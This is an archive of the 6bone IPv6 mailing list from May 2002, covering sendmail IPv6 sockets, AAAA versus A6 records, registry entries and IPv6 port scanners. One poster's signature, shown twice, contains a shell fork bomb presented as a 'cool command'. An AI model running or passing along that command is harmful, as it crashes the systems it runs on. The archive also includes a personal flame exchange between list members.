	DAEMON_OPTIONS(`Port=smtp, Name=MTA, Family=inet6')

As you can see, I effectively only have one DAEMON_OPTIONS() line,
giving Family=inet6. There is some peculiarity with the Linux kernel
that an IPv6 listening socket will also accept IPv4 connections - it
was in the original standard but experience has shown since then that
it does not always produce the desired results.

Anyway, why don't you go ahead and try your sendmail over IPv4 with
only an AF_INET6 socket listening? Provided that you have a stock
kernel release that might do the trick.

I'm running sendmail 8.11.6 compiled with IPv6 support (of course) in
case that matters.


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
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From hgoes@eu.uu.net Fri May 17 06:41:59 2002
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Subject: [6bone] ipv6 software for cisco 2600
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Hi,

As far as I can see there is no IOS software available for Cisco 2600 with
only 32meg memory ?
48 megs seems to be the lowest possibility.



Thanks

Hans Goes

WorldCom
EMEA Network Operations
Joan Muyskenweg 24
1096 CJ Amsterdam
The Netherlands

Tel: +31 20 7112428
Fax: +31 20 7112455
Email: hans.goes@wcom.com
http://www.wcom.com/nl/


From paitken@cisco.com Fri May 17 12:35:27 2002
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Hans,

> As far as I can see there is no IOS software available for Cisco 2600 with
> only 32meg memory ?
> 48 megs seems to be the lowest possibility.

Correct; the smallest footprint for a 2600 is an IP PLUS image requiring 
48M RAM and 16M Flash.

Note that this sort of question is best sent to either tac@cisco.com or 
ipv6-support@cisco.com

Cheers.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX


From itojun@itojun.org Sat May 18 02:41:50 2002
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To: Allan Edgard Silva Freitas <allan@cefetba.br>, 6bone <6Bone@ISI.EDU>
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Subject: Re: [6bone] Re: Some problems with sendmail, Linux and v6 
From: Jun-ichiro itojun Hagino <itojun@iijlab.net>
Date: Sat, 18 May 2002 11:44:15 +0900
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>> I compiled both Sendmail 8.9.1 with WINE patch and Sendmail 8.12
>> using -DNETINET6 option and I see if I use at the same time the two
>> lines below in sendmail.cf:
>
>> "O DaemonPortOptions=Name=IPv4, Family=inet"         ("O DaemonPortOptions=Family=inet6" in /etc/sendmail6.cf using WINE)
>> "O DaemonPortOptions=Name=IPv6, Family=inet6"       ("O DaemonPortOptions=Family=inet6" in /etc/sendmail6.cf using WINE)
>>
>> I get no runing sendmail, I can only use:
>> "O DaemonPortOptions=Name=IPv4, Family=inet"
>>     or
>> "O DaemonPortOptions=Name=IPv6, Family=inet6"
>>
>> So, I only could have an IPv6 SMTP Server or an IPv4 SMTP Server but
>> never the both running. I had a FreeBSD box, where IPv6 is native
>> and I see that the same configuration have no problems in Free. Do
>> anyone know some specific bug regarding about this configuration
>> above described? Some hint to I overpass it??

	The trouble is caused by the lack of standard for bind(2) behavior,
	when bind(2) to AF_INET and AF_INET6 are made the same port number.
	Linux rejects AF_INET bind(2) after AF_INET6 bind(2).
	therefore, you need to open only a single AF_INET6 socket,
	and expect IPv4 traffic to come in from AF_INET6 socket.
	so the following should make your sendmail to accept both IPv4 and
	IPv6 connections:
>> "O DaemonPortOptions=Name=IPv6, Family=inet6"

	on other platforms, two line configuration ("inet" and "inet6") should
	work fine.

	i really feel sorry for you, and sad about the lack of standard here.

itojun

From Francis.Dupont@enst-bretagne.fr Sat May 18 09:17:57 2002
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Subject: Re: [6bone] Re: Some problems with sendmail, Linux and v6 
In-reply-to: Your message of Sat, 18 May 2002 11:44:15 +0900.
             <20020518024415.AFE4E7BC@starfruit.itojun.org> 
Date: Sat, 18 May 2002 18:11:25 +0200
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 In your previous mail you wrote:

   	i really feel sorry for you, and sad about the lack of standard here.
   
=> the IPV6_V6ONLY stuff was added in the RFC 2553 revision (when it will
be published BTW) just to fill this hole (and not in the general case
where a RFC 2553 compliant implementation should accept IPv4 and IPv6
traffic on a socket bound to ::, but for the case where a different policy
is applied to IPv6 and IPv5 traffics. Today the only application in this
case is BIND 9).

Regards

Francis.Dupont@enst-bretagne.fr

From itojun@itojun.org Sat May 18 15:40:14 2002
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Subject: Re: [6bone] Re: Some problems with sendmail, Linux and v6 
From: Jun-ichiro itojun Hagino <itojun@iijlab.net>
Date: Sun, 19 May 2002 07:40:00 +0900
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>=> the IPV6_V6ONLY stuff was added in the RFC 2553 revision (when it will
>be published BTW) just to fill this hole (and not in the general case
>where a RFC 2553 compliant implementation should accept IPv4 and IPv6
>traffic on a socket bound to ::, but for the case where a different policy
>is applied to IPv6 and IPv5 traffics. Today the only application in this
>case is BIND 9).

	and mozilla uses it too.  what IPV6_V6ONLY spec says is not really
	enough, IMHO.

itojun

From paul@timmins.net Sun May 19 09:58:13 2002
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I'm looking for an IPv6 portscanner, preferrably for UNIX, to audit my
network for unnecessary services.
I'd prefer something like NMAP that can scan a block of IP addresses,
but one that can scan just one at a time works fine for me too.
Any suggestions?
-Paul




From jim@daedelus.com Sun May 19 10:00:58 2002
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[This is a resend - sorry for any duplicates!]

Gentlepeople,
	I've got a procedural question for the group. Let's say someone has gotten 
two tunnels from two upstream v6 providers. Each provider has delegated him 
a /48. When being a responsible 6Bone citizen, does he register 2 inet6num 
objects and one ipv6-site object? Or perhaps two inet6num objects and two 
ipv6-site objects? If it's two ipv6-site objects, is there a naming 
convention (ie, MYSITE-PROVIDER1 and MYSITE-PROVIDER2)?

	Just trying to play nicely with the group ... :-)

	- Jim


From nicolas.deffayet-extml@ndsoftwaregroup.com Sun May 19 10:59:36 2002
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From: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>
To: "'Jim Martin'" <jim@daedelus.com>, <6bone@ISI.EDU>
Subject: RE: [6bone] 6Bone registry entries when multihomed?
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> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu 
> [mailto:6bone-admin@mailman.isi.edu] On Behalf Of Jim Martin
> Sent: Sunday, May 19, 2002 7:01 PM
> To: 6bone@ISI.EDU
> Subject: [6bone] 6Bone registry entries when multihomed?
> 
> 
> [This is a resend - sorry for any duplicates!]
> 
> Gentlepeople,
> 	I've got a procedural question for the group. Let's say 
> someone has gotten 
> two tunnels from two upstream v6 providers. Each provider has 
> delegated him 
> a /48. When being a responsible 6Bone citizen, does he 
> register 2 inet6num 
> objects and one ipv6-site object? Or perhaps two inet6num 
> objects and two 
> ipv6-site objects? If it's two ipv6-site objects, is there a naming 
> convention (ie, MYSITE-PROVIDER1 and MYSITE-PROVIDER2)?
> 

2 inet6num
1 ipv6-site

A exemple: http://whois.6bone.net/cgi-bin/whois?NDSOFTWARE


From michel@arneill-py.sacramento.ca.us Sun May 19 13:59:45 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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Jim,

> Jim Martin wrote:
> I've got a procedural question for the group. Let's say 
> someone has gotten two tunnels from two upstream v6 providers.
> Each provider has delegated him a /48. When being a responsible
> 6Bone citizen, does he  register 2 inet6num  objects and one
> ipv6-site object?

Yes.
 
> Nicolas DEFFAYET wrote
> A exemple: http://whois.6bone.net/cgi-bin/whois?NDSOFTWARE

Nicolas is an ISP. If you got /48s it probably means you are not, here
is an example that might be closer to your needs:

http://whois.6bone.net/cgi-bin/whois?ARNEILLPY

Note that this does not provide you with a multihoming solution, since
both of your upstreams will filter your /48.

Michel.


From itojun@itojun.org Sun May 19 22:20:06 2002
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Date: Mon, 20 May 2002 14:20:01 +0900
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Subject: [6bone] IPv6 site count
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	you may find it interesting:
	http://www.jp.ipv6.org/sitecount/index.en.html
	we think there are at least 1000 /48 IPv6 sites in Japan.
	(since it is rather hard to count # of 6to4 sites, there can be a lot
	more)

itojun

From michael@kjorling.com Mon May 20 05:10:03 2002
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On May 19 2002 12:57 -0400, Paul Timmins wrote:

> I'm looking for an IPv6 portscanner, preferrably for UNIX, to audit my
> network for unnecessary services.
> I'd prefer something like NMAP that can scan a block of IP addresses,
> but one that can scan just one at a time works fine for me too.
> Any suggestions?
> -Paul

A fairly quick Google search turned up a page on Freshmeat listing
halfscan6, "An IPv6 port scanner."

See http://freshmeat.net/projects/halfscan6/

Disclaimer: I have not tried it myself, and have no idea about its
quality!


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
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From rocheml@httrack.com Mon May 20 05:42:02 2002
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Date: Mon, 20 May 2002 14:41:46 +0200
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Hi,

rfc #2874 seem to suggest that AAAA records will "soon" disappear ; is the A6 record format the definitive one? If the 2874 considered as 'final' standard?


Regards,
Xavier


From michael@kjorling.com Mon May 20 06:29:04 2002
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Hash: SHA1

On May 20 2002 14:41 +0200, Xavier Roche wrote:

> Hi,
>
> rfc #2874 seem to suggest that AAAA records will "soon" disappear ;
> is the A6 record format the definitive one? If the 2874 considered
> as 'final' standard?
>
>
> Regards,
> Xavier

I believe not. There is draft-ietf-dnsext-ipv6-addresses-01 which
says:

	Abstract

	   This document clarifies and updates the standards status of RFCs that
	   define direct and reverse map of IPv6 addresses in DNS. This document
	   moves the A6 and Bit label specifications to experimental status.

and:

	1.1 Standards action taken

	   This document changes the status of RFCs 2673 and 2874 from Proposed
	   Standard to Experimental.

as well as:

	2.2 Recommended standard action

	   Based on the perceived consensus, this document recommend that RFC
	   1886 stay on standards track and be advanced, while moving RFC 2874
	   to Experimental status.

The I-D, dated March 2002 and expiring September 2002, is available at
ftp://ftp.isi.edu/in-notes/search.ietf.org/internet-drafts/draft-ietf-dnsext-ipv6-addresses-01.txt
and updates RFCs 1886, 2673 and 2874.


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
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From nicolas.deffayet-extml@ndsoftwaregroup.com Mon May 20 06:33:47 2002
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To: "'Xavier Roche'" <rocheml@httrack.com>, <6bone@ISI.EDU>
Subject: RE: [6bone] AAAA and A6 recent status?
Date: Mon, 20 May 2002 15:33:31 +0200
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> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu 
> [mailto:6bone-admin@mailman.isi.edu] On Behalf Of Xavier Roche
> Sent: Monday, May 20, 2002 2:42 PM
> To: 6bone@ISI.EDU
> Subject: [6bone] AAAA and A6 recent status?
> 
 
Hi,

> rfc #2874 seem to suggest that AAAA records will "soon" 
> disappear ; is the A6 record format the definitive one? If 
> the 2874 considered as 'final' standard?

I don't reply to your initial question, but i want add my comment:

Don't forget that old system will try to resolve only AAAA.
I suggest to use AAAA and A6 for each dns forward entry.

It's the same problem with .int and .arpa for reverse (PTR)...

Best Regards,

Nicolas DEFFAYET


From itojun@itojun.org Mon May 20 06:40:11 2002
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In-reply-to: rocheml's message of Mon, 20 May 2002 14:41:46 +0200.
      <5.1.0.14.0.20020520143041.00a14540@wheresmymailserver.com> 
Subject: Re: [6bone] AAAA and A6 recent status? 
Date: Mon, 20 May 2002 22:40:06 +0900
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>rfc #2874 seem to suggest that AAAA records will "soon" disappear ; is the A6
>record format the definitive one? If the 2874 considered as 'final' standard?

	AAAA is the final standard.
	draft-ietf-dnsext-ipv6-addresses-01.txt

itojun

From pekkas@netcore.fi Mon May 20 07:15:58 2002
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From: Pekka Savola <pekkas@netcore.fi>
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Subject: Re: [6bone] AAAA and A6 recent status?
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On Mon, 20 May 2002, Xavier Roche wrote:
> rfc #2874 seem to suggest that AAAA records will "soon" disappear ; is
> the A6 record format the definitive one? If the 2874 considered as
> 'final' standard?

Short answer: forget about A6 altogether.

Long answer: look in the archives of the mailing list and e.g.
http://search.ietf.org/internet-drafts/draft-ietf-dnsext-ipv6-addresses-01.txt

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From bmanning@ISI.EDU Mon May 20 07:35:10 2002
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Subject: Re: [6bone] AAAA and A6 recent status?
In-Reply-To: <20213.1021902006@itojun.org> from "itojun@iijlab.net" at "May 20, 2 10:40:06 pm"
To: itojun@iijlab.net
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% >rfc #2874 seem to suggest that AAAA records will "soon" disappear ; is the A6
% >record format the definitive one? If the 2874 considered as 'final' standard?
% 
% 	AAAA is the final standard.
% 	draft-ietf-dnsext-ipv6-addresses-01.txt
% 
% itojun


	final is such a strong word.  The current recommendation is:
	draft-ietf-dnsext-ipv6-addresses-01.txt, which might become
	an RFC.  Even then, changes can and do occur. Its a pretty 
	safe bet that AAAA records will get you what you want, but 
	apps should be prepared to deal w/ A6 records, since they
	do exist and show every likelyhood of remaining in the code.


-- 
--bill

From thomas@habets.pp.se Mon May 20 09:06:41 2002
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From: Thomas Habets <thomas@habets.pp.se>
To: Michael Kjorling <michael@kjorling.com>
Subject: Re: [6bone] IPv6 port scanners?
Date: Mon, 20 May 2002 17:32:36 +0200
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Hash: SHA1

On Monday 20 May 2002 13:49, you wrote:
> A fairly quick Google search turned up a page on Freshmeat listing
> halfscan6, "An IPv6 port scanner."

I love it when my programs pop up on mailing lists. :-)

> Disclaimer: I have not tried it myself, and have no idea about its
> quality!

Works on:
Linux x86
Linux sparc

Does not work on:
OpenBSD 3.0 sparc
NetBSD 1.5.2 alpha

Also, Linux seems to set the source address to what it wants even though I'm
sending them out a raw socket, which sucks since I've already calculated the
checksum. If anyone knows why, please tell me. Same goes for getting it to
work on OpenBSD, which doesn't deliver the packets to my AF_INET6/SOCK_RAW
socket.

In short: the argument to -s must match what Linux actually puts out as 
source, since I don't seem to have control over that. (at least not without 
going more raw).

But if you just want a connect() portscanner there are others. But I do
believe that mine is the only halfscan (synscan or whatever you want to call
it).

- ---------
typedef struct me_s {
  char name[]      = { "Thomas Habets" };
  char email[]     = { "thomas@habets.pp.se" };
  char kernel[]    = { "Linux 2.4" };
  char *pgpKey[]   = { "http://darkface.pp.se/~thompa/pubkey.txt" };
  char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE  0945 286A E90A AD48 E854" };
  char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;

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From rocheml@httrack.com Mon May 20 11:13:59 2002
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Date: Mon, 20 May 2002 20:13:51 +0200
To: 6bone@ISI.EDU
From: Xavier Roche <rocheml@httrack.com>
Subject: Re: [6bone] AAAA and A6 recent status?
In-Reply-To: <87it5izsar.fsf@snark.piermont.com>
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>>With respect, Bill, I disagree. It is likely that only one would
>>survive because of the complexity of dealing with both, and it appears
>>at this point the survivor will be AAAA.

A6 looked pretty useful for local configuration.. A6 could be kept as internal DNS entries, that is, allowing to reconfigure local dns zones without having to rewrite everything, but "hidden" from the outside world.


From tjc@ecs.soton.ac.uk Mon May 20 14:44:34 2002
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You really want to scan an IPv6 /64 subnet? :-)

Tim

On Mon, 20 May 2002, Michael Kjorling wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> On May 19 2002 12:57 -0400, Paul Timmins wrote:
> 
> > I'm looking for an IPv6 portscanner, preferrably for UNIX, to audit my
> > network for unnecessary services.
> > I'd prefer something like NMAP that can scan a block of IP addresses,
> > but one that can scan just one at a time works fine for me too.
> > Any suggestions?
> > -Paul
> 
> A fairly quick Google search turned up a page on Freshmeat listing
> halfscan6, "An IPv6 port scanner."
> 
> See http://freshmeat.net/projects/halfscan6/
> 
> Disclaimer: I have not tried it myself, and have no idea about its
> quality!
> 
> 
> Michael Kjörling
> 
> - -- 
> Michael Kjörling  --  Programmer/Network administrator  ^..^
> Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
> PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e
> 
> ``And indeed people sometimes speak of man's "bestial" cruelty, but
> this is very unfair and insulting to the beasts: a beast can never be
> so cruel as a man, so ingeniously, so artistically cruel.''
> (Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.0.7 (GNU/Linux)
> Comment: Public key is at http://michael.kjorling.com/contact/pgp.html
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> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From bmanning@ISI.EDU Mon May 20 16:09:19 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] IPv6 port scanners?
In-Reply-To: <Pine.LNX.4.44.0205202244100.17604-100000@login.ecs.soton.ac.uk> from Tim Chown at "May 20, 2 10:44:27 pm"
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naw... I want to scan a /32


-- 
--bill

From thomas@habets.pp.se Mon May 20 18:15:09 2002
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Tuesday 21 May 2002 01:09, Bill Manning wrote:
> naw... I want to scan a /32

Why not just scan the whole IPv6 address space?
Also, do a traceroute to every address and sell it!

See you in time for IPv2^32.

:-)

- ---------
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  char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE  0945 286A E90A AD48 E854" };
  char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
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From kre@munnari.OZ.AU Mon May 20 18:37:58 2002
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    Date:        Mon, 20 May 2002 22:40:06 +0900
    From:        itojun@iijlab.net
    Message-ID:  <20213.1021902006@itojun.org>

  | 	AAAA is the final standard.
  | 	draft-ietf-dnsext-ipv6-addresses-01.txt

That's just a draft RFC, someone's opinion, currently not accepted
by anything.   It doesn't even have working group consensus, let alone IETF.
(Which isn't to say that A6 has WG consensus either, of course).

kre


From rocheml@httrack.com Mon May 20 22:38:10 2002
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Date: Tue, 21 May 2002 07:37:58 +0200
To: 6bone@ISI.EDU
From: Xavier Roche <rocheml@httrack.com>
Subject: Re: [6bone] AAAA and A6 recent status? 
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 <20213.1021902006@itojun.org>
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>>That's just a draft RFC, someone's opinion, currently not accepted
>>by anything.   It doesn't even have working group consensus, let alone IETF.
>>(Which isn't to say that A6 has WG consensus either, of course).

Any chance for this document to become more 'official' (with big quotes) ? AAAA/A6 confusion is really a nuisance, and is slowing down a little more many v6 migrations


From pim@ipng.nl Mon May 20 22:43:24 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
Cc: Nicolas DEFFAYET <nicolas.deffayet-extml@ndsoftwaregroup.com>,
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| > Nicolas DEFFAYET wrote
| > A exemple: http://whois.6bone.net/cgi-bin/whois?NDSOFTWARE
| 
| Nicolas is an ISP. If you got /48s it probably means you are not, here
| is an example that might be closer to your needs:

Nicolas is an inmensly irritating clueless kiddie, because he blatantly
refuses to remove his AS65526 number from the registries and to be even
worse, he uses this on the 6bone, because he cannot get his hands on a
real ASN (because he does not have a LIR relationship with a RIR).

www.ndsoftwarenet.net (mind ND - Nicolas Defayet), does not have content
and there is no company behind FastNET XP, it's just some (Windows
running?) children being a total ass on the Internet.

Nicolas, did you know that people were even complaining about your
destructive IPv6 efforts at RIPE42 :-) ? Just to put things in proper
perspective.

pompompom,
Pim


-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From pim@ipng.nl Mon May 20 22:45:43 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Pekka Savola <pekkas@netcore.fi>
Cc: Xavier Roche <rocheml@httrack.com>, 6bone@ISI.EDU
Subject: Re: [6bone] AAAA and A6 recent status?
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On Mon, May 20, 2002 at 05:15:48PM +0300, Pekka Savola wrote:
| On Mon, 20 May 2002, Xavier Roche wrote:
| > rfc #2874 seem to suggest that AAAA records will "soon" disappear ; is
| > the A6 record format the definitive one? If the 2874 considered as
| > 'final' standard?
| 
| Short answer: forget about A6 altogether.
haha :)

The cool thing about Pekka is, that his mails on 'drop it <period>' come
in after others explained about it, I remember mine coming in as first
response half a year ago and that started quite a thread.

Drop A6/DNAME. They belong in Hell.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From nicolas.deffayet-extml@ndsoftwaregroup.com Tue May 21 03:32:26 2002
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To: "'Pim van Pelt'" <pim@ipng.nl>,
   "'Michel Py'" <michel@arneill-py.sacramento.ca.us>
Cc: "'Jim Martin'" <jim@daedelus.com>, <6bone@ISI.EDU>
Subject: RE: [6bone] 6Bone registry entries when multihomed?
Date: Tue, 21 May 2002 12:32:02 +0200
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> -----Original Message-----
> From: Pim van Pelt [mailto:pim@ipng.nl] 
> Sent: Tuesday, May 21, 2002 7:43 AM
> To: Michel Py
> Cc: Nicolas DEFFAYET; Jim Martin; 6bone@ISI.EDU
> Subject: Re: [6bone] 6Bone registry entries when multihomed?

I don't like reply to a troll, but i reply for many reasons.
 
> | > Nicolas DEFFAYET wrote
> | > A exemple: http://whois.6bone.net/cgi-bin/whois?NDSOFTWARE
> | 
> | Nicolas is an ISP. If you got /48s it probably means you 
> are not, here 
> | is an example that might be closer to your needs:
> 

ISP is not a good word for that.
I prefer call it project.

> Nicolas is an inmensly irritating clueless kiddie, because he 
> blatantly refuses to remove his AS65526 number from the 
> registries and to be even worse, he uses this on the 6bone, 
> because he cannot get his hands on a real ASN (because he 
> does not have a LIR relationship with a RIR).

Where is problem of use a private ASN number when you notify the peer
and you add a community no-export to your route ? If ISP don't want that
i send my route i don't send route and/or the ISP can filter my route.
I'm running with this configuration since 1 year, and no problem
reported.
I'm ***NOT*** the only people who use private ASN on 6bone.

I plain to get a public ASN and be a LIR, but before i need to create a
real IPv4 network because you can't justify a ASN with 2 IPv6 peering
(native of course). Create a IPv4 network can't be do in a week (except
if you have a lot of money for this).
If RIPE accept to allocate me a public ASN now, i accept of course :)

I recall that 6bone is for test.
I don't remove my AS for your pleasure. A lot of users/other projects
use the services of my projet.
You want a list of projects who use my services ?

Another question that you have forgot: why i have a lot of peer ?
Because with a community no-export you need directly peer for that the
ISP can have your route (if the ISP accept it).

Why you are jealous of my projet ?

> 
www.ndsoftwarenet.net (mind ND - Nicolas Defayet), does not have content
and there is no >company behind FastNET XP, it's just some (Windows
>running?) children being a total ass on the Internet.

My name is with 2 f: DEFFAYET.
You criticism people and you can't write correctly my name ?

Yes www.ndsoftware.net is not ready (need to finish the developpement of
backend), if you want help us, don't hesitate :)

FastNetXP is just a name of project beetween friend, not a real company.
But i have stop to use FastNetXP because many problem with the name
FastNetXP (a trademark FastNet exist [...])

I'm not running Windows (except for a workstation, for many reason).
On my webserver you can see:
Apache/2.0.36 (Unix) mod_ssl/2.0.36 OpenSSL/0.9.6d PHP/4.2.0

I'm not a children.

Just a question, are you intelligent ? Because with this mail you make a
fool of oneself.

>Nicolas, did you know that people were even complaining about your
destructive IPv6 >efforts at RIPE42 :-) ? Just to put things in proper
perspective.

6bone and RIPE is not the same.
I work on 6bone, not with the RIPE.

Best Regards,

Nicolas DEFFAYET


From chuck@snew.com Tue May 21 05:00:20 2002
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Date: Tue, 21 May 2002 05:00:16 -0700
From: Chuck Yerkes <chuck+6bone@snew.com>
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Quoting David F. Newman (dnewman@maraudingpirates.org):
> Hi there,
> In the old IPv4 days sites would use private address space inside a firewall 
> for either address conservation or just plain old security through obscurity.
In the old days, we'd use our real IPv4 addresses and that would
route across the Internet.  We eventually put up firewalls, and
screening routers (or screend).  As we ran out of IPv4 (they will
all be gone by 1998 or so :), rfc1918 came along a bit after the
concept of NAT - network address translation.

Many lesser admins believe NAT to be actual firewalling (it's
neat the probes that still work with an established bit set).

> Now that a site can get a /48 to do with as they please is it necessary to use 
> private IP space anymore.  I am wondering if people out there use public 
> routable IPs on both sides of their firewall.  I figure if a node is behind a 
> firewall it is ok to have a valid IP, but I could be wrong.

Now that I have 65k Internets of address that will route (nobody
will route my class C anymore), I use actual addresses on the
machines that will take them.   I run firewalling software on my
gateways somewhat.  I also make sure that the machines on my network
are hardened.  There is no "soft chewy center" if you get past the
firewall.

From oliver.michael@gargantuan.com Tue May 21 06:04:10 2002
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Subject: RE: [6bone] AAAA and A6 recent status? 
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Folks,

Is there any negative effect of using both A6 and AAAA records?  Most of
the hosts on my small network are dual-stack, and I have configured BIND
with A6, AAAA, and A records for each of them.  Is this bad practice in
anyone's opinion?

Thanks in advance for your insight.

Regards,

Michael Oliver




-----Original Message-----
From: Xavier Roche [mailto:rocheml@httrack.com] 
Sent: Tuesday, May 21, 2002 1:38 AM
To: 6bone@ISI.EDU
Subject: Re: [6bone] AAAA and A6 recent status? 



>>That's just a draft RFC, someone's opinion, currently not accepted
>>by anything.   It doesn't even have working group consensus, let alone
IETF.
>>(Which isn't to say that A6 has WG consensus either, of course).

Any chance for this document to become more 'official' (with big quotes)
? AAAA/A6 confusion is really a nuisance, and is slowing down a little
more many v6 migrations

_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone

From bmanning@ISI.EDU Tue May 21 06:27:49 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] AAAA and A6 recent status?
In-Reply-To: <DDEE26360FDB9D4E979900626D167AEB7304@MAGNETO.gargantuan.com> from "Michael W. Oliver" at "May 21, 2 09:04:01 am"
To: oliver.michael@gargantuan.com (Michael W. Oliver)
Date: Tue, 21 May 2002 06:27:46 -0700 (PDT)
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% Folks,
% 
% Is there any negative effect of using both A6 and AAAA records?  Most of
% the hosts on my small network are dual-stack, and I have configured BIND
% with A6, AAAA, and A records for each of them.  Is this bad practice in
% anyone's opinion?
% 
% Thanks in advance for your insight.
% 
% Regards,
% 
% Michael Oliver

I use both A6 and AAAA on most nodes.  Some only have A6 records.
Some of those are chained. You can even find a DNAME or two...
So I guess that, according to some, I'm in "Hell".   :)

--bill

From sdegler@degler.net Tue May 21 06:40:34 2002
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Date: Tue, 21 May 2002 09:40:27 -0400
From: Stephen Degler <sdegler@degler.net>
To: Chuck Yerkes <chuck+6bone@snew.com>
Cc: "David F. Newman" <dnewman@maraudingpirates.org>, 6 Bone <6bone@ISI.EDU>
Subject: Re: [6bone] Re: Internal Address Space
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Hi,

Given the immediate future will continue to be Windows Impaired as well,
its completely possible (and unfortunately, necessary) to establish a
"soft chewy center" model with routeable addresses on the inside.
Stateful firewalls are your friend.

skd

On Tue, May 21, 2002 at 05:00:16AM -0700, Chuck Yerkes wrote:
> Quoting David F. Newman (dnewman@maraudingpirates.org):
> > Hi there,
> > In the old IPv4 days sites would use private address space inside a firewall 
> > for either address conservation or just plain old security through obscurity.
> In the old days, we'd use our real IPv4 addresses and that would
> route across the Internet.  We eventually put up firewalls, and
> screening routers (or screend).  As we ran out of IPv4 (they will
> all be gone by 1998 or so :), rfc1918 came along a bit after the
> concept of NAT - network address translation.
> 
> Many lesser admins believe NAT to be actual firewalling (it's
> neat the probes that still work with an established bit set).
> 
> > Now that a site can get a /48 to do with as they please is it necessary to use 
> > private IP space anymore.  I am wondering if people out there use public 
> > routable IPs on both sides of their firewall.  I figure if a node is behind a 
> > firewall it is ok to have a valid IP, but I could be wrong.
> 
> Now that I have 65k Internets of address that will route (nobody
> will route my class C anymore), I use actual addresses on the
> machines that will take them.   I run firewalling software on my
> gateways somewhat.  I also make sure that the machines on my network
> are hardened.  There is no "soft chewy center" if you get past the
> firewall.
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From michael@kjorling.com Tue May 21 06:46:24 2002
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From: Michael Kjorling <michael@kjorling.com>
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-----BEGIN PGP SIGNED MESSAGE-----
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On May 21 2002 09:04 -0400, Michael W. Oliver wrote:

> Folks,
>
> Is there any negative effect of using both A6 and AAAA records?  Most of
> the hosts on my small network are dual-stack, and I have configured BIND
> with A6, AAAA, and A records for each of them.  Is this bad practice in
> anyone's opinion?
>
> Thanks in advance for your insight.
>
> Regards,
>
> Michael Oliver

All your slave servers have to at least be able to serve A6 RRs.

Actually I think the real problem is not the A6 forward records (they
can be dealt with) but bitlabels. Just as the I-D points out, queries
containing bitlabels can quite easily be rejected as malformed. Not a
good thing.


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
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From fink@es.net Tue May 21 06:51:43 2002
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Date: Tue, 21 May 2002 06:51:10 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Cc: Milos Prodanovic <awl@verat.net>,
   6bone reverse DNS registration <hostmaster@ep.net>
Mime-Version: 1.0
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Subject: [6bone] 6bone pTLA 3FFE:4009::/32 allocated to VERAT
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VERAT has been allocated pTLA 3FFE:4009::/32 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?VERAT>


Note that it will take a short while for their pTLA inet6num entry to 
